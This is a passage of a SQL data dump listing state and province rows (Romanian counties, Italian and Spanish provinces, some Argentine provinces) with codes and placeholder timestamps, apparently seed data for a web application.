'0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (212, 1, 175, 0, 'Vaslui', 'VAS', 'VS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (213, 1, 175, 0, 'Vrancea', 'VRA', 'VN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (214, 1, 105, 0, 'Agrigento', 'AGR', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (215, 1, 105, 0, 'Alessandria', 'ALE', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (216, 1, 105, 0, 'Ancona', 'ANC', 'AN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (217, 1, 105, 0, 'Aosta', 'AOS', 'AO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (218, 1, 105, 0, 'Arezzo', 'ARE', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (219, 1, 105, 0, 'Ascoli Piceno', 'API', 'AP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (220, 1, 105, 0, 'Asti', 'AST', 'AT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (221, 1, 105, 0, 'Avellino', 'AVE', 'AV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (222, 1, 105, 0, 'Bari', 'BAR', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (223, 1, 105, 0, 'Belluno', 'BEL', 'BL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (224, 1, 105, 0, 'Benevento', 'BEN', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (225, 1, 105, 0, 'Bergamo', 'BEG', 'BG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (226, 1, 105, 0, 'Biella', 'BIE', 'BI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (227, 1, 105, 0, 'Bologna', 'BOL', 'BO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (228, 1, 105, 0, 'Bolzano', 'BOZ', 'BZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (229, 1, 105, 0, 'Brescia', 'BRE', 'BS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (230, 1, 105, 0, 'Brindisi', 'BRI', 'BR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (231, 1, 105, 0, 'Cagliari', 'CAG', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (232, 1, 105, 0, 'Caltanissetta', 'CAL', 'CL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (233, 1, 105, 0, 'Campobasso', 'CBO', 'CB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (234, 1, 105, 0, 'Carbonia-Iglesias', 'CAR', 'CI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (235, 1, 105, 0, 'Caserta', 'CAS', 'CE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (236, 1, 105, 0, 'Catania', 'CAT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (237, 1, 105, 0, 'Catanzaro', 'CTZ', 'CZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (238, 1, 105, 0, 'Chieti', 'CHI', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (239, 1, 105, 0, 'Como', 'COM', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (240, 1, 105, 0, 'Cosenza', 'COS', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (241, 1, 105, 0, 'Cremona', 'CRE', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (242, 1, 105, 0, 'Crotone', 'CRO', 'KR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (243, 1, 105, 0, 'Cuneo', 'CUN', 'CN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (244, 1, 105, 0, 'Enna', 'ENN', 'EN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (245, 1, 105, 0, 'Ferrara', 'FER', 'FE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (246, 1, 105, 0, 'Firenze', 'FIR', 'FI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (247, 1, 105, 0, 'Foggia', 'FOG', 'FG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (248, 1, 105, 0, 'Forli-Cesena', 'FOC', 'FC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (249, 1, 105, 0, 'Frosinone', 'FRO', 'FR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (250, 1, 105, 0, 'Genova', 'GEN', 'GE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (251, 1, 105, 0, 'Gorizia', 'GOR', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (252, 1, 105, 0, 'Grosseto', 'GRO', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (253, 1, 105, 0, 'Imperia', 'IMP', 'IM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (254, 1, 105, 0, 'Isernia', 'ISE', 'IS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (255, 1, 105, 0, 'L\'Aquila', 'AQU', 'AQ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (256, 1, 105, 0, 'La Spezia', 'LAS', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (257, 1, 105, 0, 'Latina', 'LAT', 'LT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (258, 1, 105, 0, 'Lecce', 'LEC', 'LE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (259, 1, 105, 0, 'Lecco', 'LCC', 'LC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (260, 1, 105, 0, 'Livorno', 'LIV', 'LI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (261, 1, 105, 0, 'Lodi', 'LOD', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (262, 1, 105, 0, 'Lucca', 'LUC', 'LU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (263, 1, 105, 0, 'Macerata', 'MAC', 'MC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (264, 1, 105, 0, 'Mantova', 'MAN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (265, 1, 105, 0, 'Massa-Carrara', 'MAS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (266, 1, 105, 0, 'Matera', 'MAA', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (267, 1, 105, 0, 'Medio Campidano', 'MED', 'VS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (268, 1, 105, 0, 'Messina', 'MES', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (269, 1, 105, 0, 'Milano', 'MIL', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (270, 1, 105, 0, 'Modena', 'MOD', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (271, 1, 105, 0, 'Napoli', 'NAP', 'NA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (272, 1, 105, 0, 'Novara', 'NOV', 'NO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (273, 1, 105, 0, 'Nuoro', 'NUR', 'NU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (274, 1, 105, 0, 'Ogliastra', 'OGL', 'OG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (275, 1, 105, 0, 'Olbia-Tempio', 'OLB', 'OT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (276, 1, 105, 0, 'Oristano', 'ORI', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (277, 1, 105, 0, 'Padova', 'PDA', 'PD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (278, 1, 105, 0, 'Palermo', 'PAL', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (279, 1, 105, 0, 'Parma', 'PAA', 'PR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (280, 1, 105, 0, 'Pavia', 'PAV', 'PV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (281, 1, 105, 0, 'Perugia', 'PER', 'PG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (282, 1, 105, 0, 'Pesaro e Urbino', 'PES', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (283, 1, 105, 0, 'Pescara', 'PSC', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (284, 1, 105, 0, 'Piacenza', 'PIA', 'PC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (285, 1, 105, 0, 'Pisa', 'PIS', 'PI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (286, 1, 105, 0, 'Pistoia', 'PIT', 'PT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (287, 1, 105, 0, 'Pordenone', 'POR', 'PN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (288, 1, 105, 0, 'Potenza', 'PTZ', 'PZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (289, 1, 105, 0, 'Prato', 'PRA', 'PO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (290, 1, 105, 0, 'Ragusa', 'RAG', 'RG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (291, 1, 105, 0, 'Ravenna', 'RAV', 'RA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (292, 1, 105, 0, 'Reggio Calabria', 'REG', 'RC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (293, 1, 105, 0, 'Reggio Emilia', 'REE', 'RE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (294, 1, 105, 0, 'Rieti', 'RIE', 'RI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (295, 1, 105, 0, 'Rimini', 'RIM', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (296, 1, 105, 0, 'Roma', 'ROM', 'RM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (297, 1, 105, 0, 'Rovigo', 'ROV', 'RO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (298, 1, 105, 0, 'Salerno', 'SAL', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (299, 1, 105, 0, 'Sassari', 'SAS', 'SS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (300, 1, 105, 0, 'Savona', 'SAV', 'SV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (301, 1, 105, 0, 'Siena', 'SIE', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (302, 1, 105, 0, 'Siracusa', 'SIR', 'SR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (303, 1, 105, 0, 'Sondrio', 'SOO', 'SO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (304, 1, 105, 0, 'Taranto', 'TAR', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (305, 1, 105, 0, 'Teramo', 'TER', 'TE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (306, 1, 105, 0, 'Terni', 'TRN', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (307, 1, 105, 0, 'Torino', 'TOR', 'TO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (308, 1, 105, 0, 'Trapani', 'TRA', 'TP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (309, 1, 105, 0, 'Trento', 'TRE', 'TN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (310, 1, 105, 0, 'Treviso', 'TRV', 'TV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (311, 1, 105, 0, 'Trieste', 'TRI', 'TS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (312, 1, 105, 0, 'Udine', 'UDI', 'UD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (313, 1, 105, 0, 'Varese', 'VAR', 'VA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (314, 1, 105, 0, 'Venezia', 'VEN', 'VE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (315, 1, 105, 0, 'Verbano Cusio Ossola', 'VCO', 'VB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (316, 1, 105, 0, 'Vercelli', 'VER', 'VC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (317, 1, 105, 0, 'Verona', 'VRN', 'VR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (318, 1, 105, 0, 'Vibo Valenzia', 'VIV', 'VV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (319, 1, 105, 0, 'Vicenza', 'VII', 'VI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (320, 1, 105, 0, 'Viterbo', 'VIT', 'VT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (321, 1, 195, 0, 'A Coru', 'ACO', '15', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (322, 1, 195, 0, 'Alava', 'ALA', '01', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (323, 1, 195, 0, 'Albacete', 'ALB', '02', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (324, 1, 195, 0, 'Alicante', 'ALI', '03', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (325, 1, 195, 0, 'Almeria', 'ALM', '04', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (326, 1, 195, 0, 'Asturias', 'AST', '33', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (327, 1, 195, 0, 'Avila', 'AVI', '05', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (328, 1, 195, 0, 'Badajoz', 'BAD', '06', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (329, 1, 195, 0, 'Baleares', 'BAL', '07', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (330, 1, 195, 0, 'Barcelona', 'BAR', '08', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (331, 1, 195, 0, 'Burgos', 'BUR', '09', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (332, 1, 195, 0, 'Caceres', 'CAC', '10', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (333, 1, 195, 0, 'Cadiz', 'CAD', '11', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (334, 1, 195, 0, 'Cantabria', 'CAN', '39', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (335, 1, 195, 0, 'Castellon', 'CAS', '12', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (336, 1, 195, 0, 'Ceuta', 'CEU', '51', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (337, 1, 195, 0, 'Ciudad Real', 'CIU', '13', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (338, 1, 195, 0, 'Cordoba', 'COR', '14', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (339, 1, 195, 0, 'Cuenca', 'CUE', '16', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (340, 1, 195, 0, 'Girona', 'GIR', '17', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (341, 1, 195, 0, 'Granada', 'GRA', '18', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (342, 1, 195, 0, 'Guadalajara', 'GUA', '19', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (343, 1, 195, 0, 'Guipuzcoa', 'GUI', '20', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (344, 1, 195, 0, 'Huelva', 'HUL', '21', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (345, 1, 195, 0, 'Huesca', 'HUS', '22', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (346, 1, 195, 0, 'Jaen', 'JAE', '23', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (347, 1, 195, 0, 'La Rioja', 'LRI', '26', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (348, 1, 195, 0, 'Las Palmas', 'LPA', '35', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (349, 1, 195, 0, 'Leon', 'LEO', '24', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (350, 1, 195, 0, 'Lleida', 'LLE', '25', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (351, 1, 195, 0, 'Lugo', 'LUG', '27', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (352, 1, 195, 0, 'Madrid', 'MAD', '28', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (353, 1, 195, 0, 'Malaga', 'MAL', '29', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (354, 1, 195, 0, 'Melilla', 'MEL', '52', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (355, 1, 195, 0, 'Murcia', 'MUR', '30', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (356, 1, 195, 0, 'Navarra', 'NAV', '31', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (357, 1, 195, 0, 'Ourense', 'OUR', '32', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (358, 1, 195, 0, 'Palencia', 'PAL', '34', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (359, 1, 195, 0, 'Pontevedra', 'PON', '36', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (360, 1, 195, 0, 'Salamanca', 'SAL', '37', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (361, 1, 195, 0, 'Santa Cruz de Tenerife', 'SCT', '38', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (362, 1, 195, 0, 'Segovia', 'SEG', '40', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (363, 1, 195, 0, 'Sevilla', 'SEV', '41', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (364, 1, 195, 0, 'Soria', 'SOR', '42', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (365, 1, 195, 0, 'Tarragona', 'TAR', '43', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (366, 1, 195, 0, 'Teruel', 'TER', '44', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (367, 1, 195, 0, 'Toledo', 'TOL', '45', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (368, 1, 195, 0, 'Valencia', 'VAL', '46', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (369, 1, 195, 0, 'Valladolid', 'VLL', '47', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (370, 1, 195, 0, 'Vizcaya', 'VIZ', '48', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (371, 1, 195, 0, 'Zamora', 'ZAM', '49', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (372, 1, 195, 0, 'Zaragoza', 'ZAR', '50', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (373, 1, 10, 0, 'Buenos Aires', 'BAS', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (374, 1, 10, 0, 'Ciudad Autonoma De Buenos Aires', 'CBA', 'CB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (375, 1, 10, 0, 'Catamarca', 'CAT', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (376, 1, 10, 0, 'Chaco', 'CHO', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (377, 1, 10, 0, 'Chubut', 'CTT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (378, 1, 10, 0, 'Cordoba', 